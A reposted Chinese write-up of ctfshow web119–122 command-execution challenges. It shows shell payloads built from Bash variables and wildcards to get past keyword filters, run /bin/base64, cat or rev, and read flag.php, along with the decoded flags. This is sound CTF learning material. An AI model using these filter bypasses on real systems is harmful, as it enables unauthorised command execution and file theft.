ctfshow-web入门-命令执行(web119、web120、web121、web122)

news2024/10/5 22:12:36

目录

1、web119

2、web120

3、web121

4、web122


1、web119

采用 118 的 payload,回显 evil input,说明新增了过滤

单独测试一下,是 PATH 、BASH 被过滤了

在上一题的基础上,我们再介绍一个内置变量:$RANDOM

它会生成一个随机数,长度一般是 4 位或者 5 位,也就是说我们可以得到 4 或者 5 。

那么我们就可以构造出 /bin/base64 去读取 flag.php,主要就是构造出 / 和 4,其他使用通配符。

构造 /bin/base64 flag.php,payload:

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???

其中 ${PWD::${#SHLVL}} 就等同于斜杠 /,${#RANDOM} 的值可能是 4 或者 5 ,所以可能需要多试几次。

得到:

PD9waHAKJGZsYWc9ImN0ZnNob3d7MTViYzM3NTItMjYxNC00YmY4LWI1ZDYtZjQ4YmYwZTA4NjNk fSI7Cj8+
fSI7Cj8+

进行 base64 解码:

拿到 flag:ctfshow{15bc3752-2614-4bf8-b5d6-f48bf0e0863d}

其他尝试

当然我们还可以构造其他的,我们知道 cat 也是在 bin 目录下的,尝试构造 /bin/cat flag.php

这里当前登录的用户名应该是 www-data,我最开构造的是 a ,取变量的最后一个字母,也就是 /bin/?a?

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~Q}? ????.???

命令执行成功了,可惜执行的不是 cat 命令:

(也可能不是执行成了其他命令,也可能是读到了其他的文件,并未匹配到 flag.php)

我们可以来看一下 Linux 系统的 bin 目录下符合要求的命令:

可以看到还是很多的,因此并不一定会执行到我们期望的那个命令

 这里我们构造 t ,也就是 /bin/??t,题目提示里面说:

${HOME:${#HOSTNAME}:${#SHLVL}}     ====>   t

构造 payload: 

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???

 cat 命令执行成功,拿到 flag 

$HOME 应该是 /var/www/html,但是其实我也并不清楚 ${HOSTNAME} 是什么以及它的长度是多少;假设 ${HOSTNAME} 也是 www-data,那么它和 $USER 长度就是一样的,将 payload 中的 HOSTNAME 替换成 USER,但是发现打不通:

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}??${HOME:${#USER}:${#SHLVL}} ????.???

说明它两内容长度不一样,这里成功取到 t ,说明 ${#HOSTNAME} 是 10。

此外,我们是否还可以继续构造 nl 命令呢?

我在我自己服务器上发现 $LANG 中存在 n

构造 n:

${LANG:${#SHLVL}:${#SHLVL}}

构造 nl flag.php 

${LANG:${#SHLVL}:${#SHLVL}}${PWD:~Q} ????.???

可惜也没有打通,具体的题目环境和我自己服务器的不一样。

其实还有其他包含 n 的,这里的话我们就需要构造数字 3 

 

但是 3 这个数字不好构造,我们可以倒着来取,还记得上一题时我们说到的波浪号吗?

我们倒着取索引为 5 的即是 n,构造字符 n:

${SHELL:~${#RANDOM}:${#SHLVL}}

我们说了这个随机数长度可能是 4 也可能是 5 ,因此也需要多试几次: 

构造 nl flag.php,payload:

${SHELL:~${#RANDOM}:${#SHLVL}}${PWD:~Q} ????.???

可惜还是不行,一般来说 shell 和 bash 都是 /bin/bash

于是我回到了上一题,没有过滤 BASH 的题去执行,发现无论是 BASH 还是 SHELL 都不行。

不知道问题出在哪里还是说它确实没有这个或者内容不一样(有知道的师傅可以告知一下谢谢)

2、web120

直接给了源码,新增过滤 HOME

base64 的 payload 可以继续使用:(多试几次)

code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???

得到:

PD9waHAKJGZsYWc9ImN0ZnNob3d7YjU0NTdhMjYtYzgwMy00NDVkLWFhYTEtM2M5MTZjYjZjNTE5 fSI7Cj8+
fSI7Cj8+

base64 解码:

拿到 flag:ctfshow{b5457a26-c803-445d-aaa1-3c916cb6c519} 

看了提示给的 payload:

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???

好家伙,就是前面上一题我没有试成功的,读出来也是乱码,我还以为是执行成了其他命令呢。

也可能不是执行成了其他命令,也可能是读到了其他的文件,并未匹配到 flag.php。

我也搜索过 flag ,但是没找到什么有用信息:

3、web121

也是给了源码,但是过滤东西更多了

SHLVL 被过滤掉,我们使用 ${##} 或者 ${#?} 代替:

还是采用 base64 的 payload,修改一下 payload:

code=${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.???

PD9waHAKJGZsYWc9ImN0ZnNob3d7MDBhNzA4YmYtMWMzZi00N2M3LTllYTUtNGM5ZGVkNWU3Mzk1 fSI7Cj8+
fSI7Cj8+

解码:

拿到 flag:ctfshow{00a708bf-1c3f-47c7-9ea5-4c9ded5e7395}

此外还可以构造 rev 命令:

${#IFS} 是 3 

payload:

code=${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???

因为 $PWD 是 /var/www/html,从索引为 3 的开始取 1 位就是 r,结果取倒序即可。

这里出现了 3,放到前面的题去试了下,BASH 和 SHELL 的依旧是不行,难道都不是 /bin/bash吗,很奇怪。

4、web122

# 也被过滤了,很难去得到长度和数字

题目提示:

通过$?来实现的,$?是表示上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误

但是我在本地测试它执行失败并不是返回 1,只是一个非 0 的数。

提示给的 payload:

code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

它这里用到的是 /bin/base64 去读取 flag 的,其中 $? 被解释成了 1,因此 ${HOME::$?} 对应的就是斜杠 /,后面使用随机数变量随机生成了一个 4 至 5 位数,然后取随机数的第一位,当随机数的第一位为 4 即可匹配到 base64,不过前面的 <A 是什么我并不理解,去掉是不行的,等待大佬解释下谢谢。

 

解码拿到 flag:ctfshow{3d1c6ce9-7bcf-4e96-a263-1172c8a79152}

关于利用 Linux 内置变量与 Bash 切片的命令执行至此结束。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1892372.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

用Python轻松转换Markdown文件为PDF文档

Markdown&#xff0c;以其简洁的语法和易于阅读的特性&#xff0c;成为了许多作家、开发者和学生记录思想、编写教程或撰写报告的首选格式。然而&#xff0c;在分享或打印这些文档时&#xff0c;Markdown的纯文本形式可能无法满足对版式和布局的专业需求。而将Markdown转换为PD…

mac 上 Docker Desktop的免费开源的替代工具Colima

当谈到在macOS上运行容器时&#xff0c;Docker长期以来一直是首选。但是&#xff0c;必须解决使用适用于macOS的Docker Desktop时出现的一些限制&#xff0c;特别是对于大中型公司&#xff0c;最大的问题是需要购买许可证。另外&#xff0c;macOS 版Docker Desktop的性能问题也…

Go语言实现钉钉机器人接入Dify工作流

go语言实现实现钉钉机器人接入dify工作流&#xff0c;完成ai 流式问答 代码地址 有用的话点个star github地址 效果 配置使用 修改.env_template文件 为.env 设置.env文件内的环境变量 API_KEY: dify的api_keyAPI_URL: dify 的api接口CLIENT_ID : 钉钉机器人应用的idCLIENT…

护眼指南之适合学生写作业的台灯:看看学生护眼台灯哪个品牌好

随着人们健康意识的提高&#xff0c;越来越多的人开始关注眼睛的健康问题&#xff0c;照明技术的进步也为缓解眼疲劳提供了可能&#xff0c;现在的照明产品可以通过调整光线亮度、色温、频闪等参数&#xff0c;使光线更加柔和、均匀&#xff0c;减少眼睛的不适感。人们都希望通…

孕产妇健康管理信息平台,多家医院产科广泛运用,系统稳定,功能齐全 产科管理系统源码,三甲医院产科电子病历系统成品源代码

孕产妇健康管理信息平台&#xff0c;多家医院产科广泛运用&#xff0c;系统稳定&#xff0c;功能齐全 产科管理系统源码&#xff0c;三甲医院产科电子病历系统成品源代码 女性生育过程会面临许多的困难和问题&#xff0c;需要经常性地前往医院做详细的身心检查&#xff0c;在…

【python】Data Augmentation

参考学习来自&#xff1a;使用PythonOpenCV进行数据增广方法综述&#xff08;附代码演练&#xff09; 文章目录 Random CutCutoutColor JitterAdd Noisy Random Cut 随机裁剪图片中的长款缩放为 scale 倍的区域&#xff0c;resize 到原图大小&#xff0c;bounding box 的坐标也…

6域名系统DNS

《计算机网络》第7版&#xff0c;谢希仁 每次记不清楚的知识点&#xff0c;通过上网查找&#xff0c;总是只能看到很零碎的答案。最后还是最喜欢看这个版本的书&#xff0c;一看就回忆起来了&#xff0c;逻辑严谨&#xff0c;循循善诱&#xff0c;知识讲解的全面又清晰&#xf…

Elasticsearch:结合稀疏、密集和地理字段

作者&#xff1a;来自 Elastic Madhusudhan Konda 如何以自定义方式组合多个稀疏、密集和地理字段 Elasticsearch 是一款强大的工具&#xff0c;可用于近乎实时地搜索和分析数据。作为开发人员&#xff0c;我们经常会遇到包含各种不同字段的数据集。有些字段是必填字段&#x…

Cartoon UI(游戏卡通UI图标界面按钮框架)

卡通UI是一套完整的艺术UI组件&#xff0c;图标&#xff0c;按钮&#xff0c;将非常适合你的游戏项目。 所有组件都是高质量的&#xff0c;在专业水平上实现&#xff0c;并具有透明的背景&#xff0c;因此您可以将其放置在任何需要的表面上。 卡通UI包括&#xff1a; -按钮&…

VIO(Virtual_Input_Output) IP 使用笔记

VIO&#xff08;Virtual Input/Output&#xff09;IP 核&#xff0c;即虚拟输入输出 IP&#xff0c;可以通过调试界面模拟 IO 的变化&#xff0c;这可以在板子没有按键等外设、或外设不足的情况下&#xff0c;来模拟外部输入。然而网上关于 VIO 的教程都说的不是很清楚&#xf…

如何学习大型语言模型中的量化

前言 图片来自作者&#xff1a;Flow 展示了量化的必要性。&#xff08;笑脸和生气脸图片来自Yan Krukau) 在我解释上面的图表之前&#xff0c;让我先介绍一下您将在本文中学习的重点内容。 首先&#xff0c;您将了解量化是什么以及为什么量化。接下来&#xff0c;您将深入了解…

sssssssssssssssshare_ptrrrrrrrrrrrrrrrrrrrrrrrrr

智能指针——shared_ptr的原理及仿写 shared_ptr的原理及仿写 共享指针允许多个指针指向同一份数据&#xff0c;因为它使用了引用计数&#xff0c;每多一个指针指向这个数据&#xff0c;引用技术加一&#xff0c;每销毁一个指针&#xff0c;引用技术减一&#xff0c;如果引用计…

【 2024!深入了解 大语言模型(LLM)微调方法(总结)】

引言 众所周知&#xff0c;大语言模型(LLM)正在飞速发展&#xff0c;各行业都有了自己的大模型。其中&#xff0c;大模型微调技术在此过程中起到了非常关键的作用&#xff0c;它提升了模型的生成效率和适应性&#xff0c;使其能够在多样化的应用场景中发挥更大的价值。 那么&…

助力企业数字化转型:无锡哲讯——您的专业SAP系统运维服务商

数字化时代&#xff0c;企业对SAP系统的依赖程度日益加深&#xff0c;而SAP系统的稳定运行对于企业的核心业务至关重要。 无锡哲讯作为专业的SAP运维服务商&#xff0c;致力于为客户提供全面的SAP运维解决方案&#xff0c;助力企业实现数字化转型&#xff0c;提升核心竞争力。 …

再次登榜,深兰科技荣膺全球独角兽企业500强

6月27&#xff5e;28日&#xff0c;《2024全球独角兽企业500强》榜单发布&#xff0c;深兰科技凭借在AI产业赋能和产品出海方面的出色表现&#xff0c;继2023年之后再次登榜。 《2024全球独角兽企业500强》评委会介绍&#xff0c;本届榜单的产生&#xff0c;是由“全球独角兽企…

logback log.info耗时异常,RollingFileAppender+TimeBasedRollingPolicy配置踩坑

我喜欢把核心内容放开头 此次log.info耗时异常升高&#xff0c;是由于日志量过大&#xff08;5G甚至以上&#xff09;&#xff0c;并且使用同步阻塞的RollingFileAppenderTimeBasedRollingPolicy&#xff0c;导致log.info一直等待日志文件滚动&#xff0c;造成了异常。解决方式…

ETCD概述--使用/特性/架构/原理

ETCD概述 ETCD是一个高度一致的分布式键值存储, 它提供了一种可靠的方式来存储需要由分布式系统或机器集群访问的数据(高可用, 强一致性)​全局的配置服务中心. 本文将介绍其特性、相关操作和常见的应用场景. 如果想了解更多, 请查阅我的技术博客: https://dingyuqi.com 特性 …

专访ATFX首席战略官Drew Niv:以科技创新引领企业高速发展

在金融科技创新的浪潮中&#xff0c;人才是推动企业高速发展的核心驱动力&#xff0c;优质服务是引领企业急速前行的灯塔。作为差价合约领域的知名品牌&#xff0c;ATFX高度重视人才引进工作&#xff0c;秉持“聚天下英才而用之”的理念&#xff0c;在全球范围内广揽科技精英&a…

某业帮六月校招后端笔试

题目一 解题思路 签到题&#xff0c;dp就行。 题目二 解题思路 这个比较烦人&#xff0c;需要处理额外的引号和括号。用DFS&#xff0c;对于每个间隙&#xff0c;插入与不插入都搜一遍。 题目三 解题思路&#xff1a; 双指针&#xff0c;左右各一个指针&#xff0c;对比长度&…

变频器配置V20

变频器控制最好是变频电机&#xff0c;在速度不低的情况下工频电机 改变电机转速&#xff0c;调节扭矩&#xff0c; 变频器 L1 L2 L3 ,R S T 电机输入 uvw 电机输出 FSD 制动电阻 设置步骤 恢复出厂设置 p0010:30 p0970:21p0003:3(设定访问级别) P0003 用户访问级别 0 - 4 1…